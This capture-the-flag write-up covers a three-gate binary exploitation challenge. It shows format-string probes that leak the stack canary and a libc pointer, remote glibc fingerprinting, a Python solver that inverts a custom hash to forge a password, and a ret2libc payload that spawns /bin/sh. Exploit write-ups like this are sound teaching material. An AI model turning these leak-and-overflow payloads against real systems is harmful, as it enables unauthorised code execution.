Gate gate gate

“What your name?”

“Ohhh! Say something:”

“Inconnect.”

The author spent all their budget on custom hashing recipes and forgot to fix both their spelling and their stack frames. Navigate the three gates, leverage the leaks, reverse the password check, and claim your flag.

Connections

  • 34.87.191.188:9004

Attachments

Recon

The handout is chall, a 64-bit PIE binary, plus a loader and an Ubuntu glibc from the 2.35-0ubuntu3.13 release to run it against. checksec shows every protection turned on, so the plan has to be leaks first and overflow last.

$ pwn checksec chall
[*] chall
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No

Over one connection the service walks us through three gates, and the win path of the third gate drops us into a plain stack overflow.

First contact with the service

The first move was to connect and watch before opening any disassembler. With stdin already at EOF the name read gets zero bytes, and the service still walks all the way to gate 3:

$ ncat 34.87.191.188 9004 < /dev/null
=== GATE 1 ===
What your name?
>
Success
=== GATE 2 ===
Debug leak: 0x7feda4493da0
Success
=== GATE 3 ===
Password:
>

Three things stand out without any reverse engineering. Gate 1 asks for a name, gate 2 prints a libc-looking pointer unprompted, and gate 3 wants a password. The leak ends in 0xda0, and the low 12 bits of a function address survive ASLR because the load base is page-aligned, so that suffix is a stable fingerprint of what the remote actually runs.

Poking gate 1 with format specifiers

A prompt that reads a raw name and prints it straight back suggests printf(buf), so the next probe used %p-style specifiers as the name, plus one wrong password to see how gate 3 reacts. In a positional format string each %N$ picks the Nth argument of printf; the first five land in registers and from slot 6 onward they are stack qwords. The probe string is explicitly null-terminated because read keeps raw bytes and printf would otherwise run past our input into stale stack. read also does not need a newline, so no newline is sent.

$ (printf '%s' '%6$p.%15$p.%16$p.%17$p'; printf '\000'; sleep 2; echo notthepw; sleep 4) | ncat 34.87.191.188 9004
=== GATE 1 ===
What your name?
> 0x3531252e70243625.0x1ee09645b46e9b00.0x7ffd84c66610.0x556386ad7ab4
Success
=== GATE 2 ===
Debug leak: 0x7fbdb826eda0
Success
=== GATE 3 ===
Password:
> Wrong! Number of attempts: 3
Password:
>

Each returned value identifies its stack slot. 0x3531252e70243625 is our own buffer, the ASCII bytes of %6$p.%15 read little-endian, so slot 6 is the start of the name buffer. 0x1ee09645b46e9b00 ends in 00, the signature of the stack canary, the per-process random value from fs:0x28 that glibc places above local variables and checks on every function return. Its low byte is always null so string functions cannot leak it whole, and seeing the 00 here confirms the slot. 0x7ffd84c66610 is a stack address, the saved rbp, and 0x556386ad7ab4 is a PIE code pointer, the return address into main. A wrong password costs one of four attempts, with a sleep(2) after each failure.

The failure path and the attempt limit

To see the failure path we also ran the shipped binary locally under its bundled loader, which makes it cheap to poke without spending remote attempts. Four wrong passwords in a row walk the counter down to zero and end in the author’s misspelled lockout message:

$ ./ld-linux-x86-64.so.2 --library-path . ./chall
=== GATE 3 ===
Password:
> Wrong! Number of attempts: 3
Password:
> Wrong! Number of attempts: 2
Password:
> Wrong! Number of attempts: 1
Password:
> Wrong! Number of attempts: 0
Inconnect

So gate 3 allows four guesses per connection, each failure costs two seconds, and lockout ends the connection. That is far too few attempts to brute force, which pushed us toward deriving the password offline instead.

What the disassembly says

With the behavior known, the disassembly only has to answer why the gates behave this way. main sets stdout unbuffered so every printf goes straight to the socket, then stores two things the gates need:

g_canary    = fs:0x28;        // .bss 0x4058, the same canary every frame checks
g_libc_leak = GOT[0x3fe0];   // .bss 0x4060, that slot holds puts
gate1(); gate2(); gate3();

An .init_array constructor that runs before main copies seven bytes from .rodata into obfuscated_hash at 0x4040, and those bytes are 31 a0 15 9d ae 32 2d. The “obfuscation” is just this copy; the real keying happens later.

Gate 1 reads 0x3f bytes into a 0x50 frame at rbp-0x50 and calls printf(buf). Gate 2 does printf("Debug leak: %p", GOT[0x3fe0]). The GOT (Global Offset Table) is populated at load time under Full RELRO, so the leaked value is already a resolved &puts.

Gate 3 checks the seven-byte password like this:

key = ((g_canary ^ (g_canary >> 8)) ^ (g_libc_leak ^ (g_libc_leak >> 8))) & 0xff;
for (i = 0; i < 7; i++) expected[i] = obfuscated_hash[i] ^ key;
memcpy(local, input, 7);
hash_forward(local, 7);          // the recipe, in place
return memcmp(local, expected, 7) == 0;

The recipe is a 16-byte table at 0x4010 of (opcode, operand) pairs, one pair per round, eight rounds, each round applied to every byte. Dumped straight from the binary:

$ r2 -q -c 'px 16 @ 0x4010' chall
0x00004010  005a 0203 0111 007f 0305 0122 0201 04fb

The opcode handlers decode to five per-byte operations, XOR with the operand, ADD the operand mod 256, ROL and ROR by the operand, and MOD by the operand (the divb keeps the remainder). So the eight rounds are:

XOR 0x5a, ROL 3, ADD 0x11, XOR 0x7f, ROR 5, ADD 0x22, ROL 1, MOD 0xfb

On the win path gate 3 calls vulnerable_function, and this frame holds the overflow:

printf("Ohhh! Say something:\n> ");
read(0, buf /* rbp-0x50 */, 0x100);
puts("Success");

A 0x100 read into a 0x50 frame leaves 200 bytes of overflow. From the buffer start the canary sits at offset 72, saved rbp at 80, and the return address at 88.

The leaks do not match the shipped libc

The first exploit attempt assumed gate 2 leaks &puts in the shipped libc and computed base = leak - 0x80e50. Two observations contradict that model. The remote leak ends in 0xda0 while puts in the shipped 2.35-0ubuntu3.13 sits at 0x80e50, low 12 bits e50. And the leaked return-into-main ends in ab4 while the shipped binary returns to ab7 (gate 1 is called at 0x1ab2 and the next instruction is 0x1ab7). Since ASLR preserves those low bits, both mismatches mean the remote runs a slightly different build of the binary and of libc than the handout. Rather than guess, we treated the remote runtime as unknown and fingerprinted it.

Exploitation

Fingerprinting the remote libc

Probing more positional slots on gate 1 (from %18$ through %31$) found two values that keep a fixed distance from the gate 2 leak across connections, %21$ at leak - 0x57010 and %30$ at leak + 0x1ec2a0, so %21$ is a code pointer inside libc. %s treats a slot as a char * and prints the bytes at that address until a null, and %21$s dumped:

89 c7 e8 e9 b7 01 00    mov edi, eax ; call rel32 0x1b7e9

That is the exit(main()) epilogue in __libc_start_call_main, main’s return value moved into edi and then a call to exit. We downloaded every Ubuntu 2.35 point release from Launchpad and checked that epilogue in each build. In the shipped 2.35-0ubuntu3.13 the epilogue site sits at 0x29d90 with bytes 89 c7 e8 59 b8 01 00, a call displacement of 0x1b859. Only the newest revision, 2.35-0ubuntu3.18, carries the remote’s 89 c7 e8 e9 b7 01 00 with displacement 0x1b7e9, and in that build puts moved to 0x80da0, whose low 12 bits da0 are exactly what the remote leak shows. So the gate 2 value is &puts after all, just one point release newer than the handout.

Offsets in the fingerprinted 2.35-0ubuntu3.18, verified against the downloaded build:

puts          0x80da0
system        0x50d00
"/bin/sh"     0x1d8678
pop rdi ; ret 0x2a3e5
ret           0x29659

Forging the gate 3 password

Both shifts in the key derivation are logical and only the low byte survives, so the key is c0 ^ c1 ^ p0 ^ p1, the first two bytes of the canary and of the leaked pointer. The canary’s low byte is always null, so c0 drops out. With the key known, expected[i] = pure_hash[i] ^ key, and the password is any seven bytes whose recipe output equals expected.

Every recipe operation is a per-byte bijection except the final MOD 0xfb, which folds 0xfb through 0xff down onto 0 through 4. Inverting is a walk backwards with one or two candidate bytes per round, then a forward check of every combination. The core of the solver:

PURE   = bytes([0x31, 0xa0, 0x15, 0x9d, 0xae, 0x32, 0x2d])
RECIPE = [(0x00, 0x5a), (0x02, 0x03), (0x01, 0x11), (0x00, 0x7f),
          (0x03, 0x05), (0x01, 0x22), (0x02, 0x01), (0x04, 0xfb)]  # XOR,ROL,ADD,XOR,ROR,ADD,ROL,MOD

def inv_op(op, operand, y):        # candidate inputs x with fwd_op(op, operand, x) == y
    if op == 0: return [y ^ operand]
    if op == 1: return [(y - operand) & 0xff]
    if op == 2: return [ror(y, operand)]
    if op == 3: return [rol(y, operand)]
    if op == 4:
        cands = [y]
        if y + operand <= 255:
            cands.append(y + operand)   # the mod round folded a second input onto y
        return cands

def derive_key(canary, leak):
    return ((canary ^ (canary >> 8)) ^ (leak ^ (leak >> 8))) & 0xff

def invert(expected):
    sets = [{b} for b in expected]
    for (op, operand) in reversed(RECIPE):
        sets = [set().union(*[set(inv_op(op, operand, y)) for y in s]) for s in sets]
    return [bytes(c) for c in itertools.product(*sets)
            if hash_forward(bytes(c)) == expected]

The MOD round limits which keys admit a password. Its outputs cover 0 through 250, so any expected byte above 250 has no preimage and the connection cannot be won at all, which happens for 31 of the 256 possible keys. A few of the solvable keys only produce passwords containing \x00 or \n, which the strlen == 7 and strcspn handling would destroy. The solver therefore computes everything offline, reconnects for a fresh key when the current one is unwinnable, and never spends the four attempts on guessing. Before touching the remote we validated the model: for every solvable key the inverse candidates were checked against a 256-value brute force with zero mismatches.

We confirmed the model on live connections. In one local session the leaks gave key 0x08 and the derived password (seven raw bytes, b9 5f 66 71 53 a7 56) was accepted on the first attempt. Another local connection produced key 0xea, whose expected bytes contained 0xff, so the solver reconnected instead of wasting attempts. The winning remote session took 53 bd 2b 04 b9 51 ba.

The overflow into a shell

Passing gate 3 reaches vulnerable_function, whose read takes 0x100 bytes into a 0x50 frame. Replaying the leaked canary at offset 72 keeps __stack_chk_fail quiet, saved rbp at 80 gets junk, and the return address at 88 starts a ret2libc chain (return into library code, here system("/bin/sh")):

chain = flat(
    0xdeadbeef,              # saved rbp, junk
    libc_base + 0x29659,     # ret, fixes stack alignment
    libc_base + 0x2a3e5,     # pop rdi ; ret
    libc_base + 0x1d8678,     # pointer to "/bin/sh" inside libc
    libc_base + 0x50d00,     # system
)
payload = b'A' * 72 + p64(canary) + chain
io.send(payload)             # into read(0, buf, 0x100)

The pop rdi ; ret gadget loads the "/bin/sh" pointer into rdi, the first argument register, before the call into system. The bare ret in front is alignment. The return slot sits at an address congruent to 8 mod 16, so entering system directly would leave rsp misaligned and system’s movaps instructions, SSE loads that fault on misaligned addresses, would crash. One extra ret shifts rsp by 8 and the chain runs clean.

The full chain runs end to end against the shipped binary too, with that libc’s own offsets substituted (its puts sits at 0x80e50), executed locally under the bundled loader and libc:

=== attempt 0 ===
[+] canary = 0x48e411862c023b00
[+] puts leak = 0xffffa1880e50 -> libc base = 0xffffa1800000
[*] key = 0x65, expected = 54c570f8cb5748
[+] password = f790cf3e84fd9f
[+] gate 3 passed: b'Success!\nOhhh! Say something:\n> '
Success
uid=0(root) gid=0(root) groups=0(root)
SHELL_OK

The Success after the prompt is vulnerable_function’s own puts after the read, and the id output shows the chain landed in a shell. The leak ending e50 here is the shipped libc, against the remote’s da0, which is the same sanity check that started the fingerprinting.

Flag capture

The remote run used the identical chain with the 2.35-0ubuntu3.18 offsets. Gate 3 accepted the derived password on the first of its four attempts, the chain dropped into /bin/sh, and we read the flag file from the shell:

[+] canary 0x5db2f98cfba5ca00 libc 0x7f16d3ddf000
[*] candidate passwords: ['53bd2b04b951ba']
Success
cat /home/ctfuser/flag.txt
NVR{p4ssed_4ll_g4t3s_succ3ss}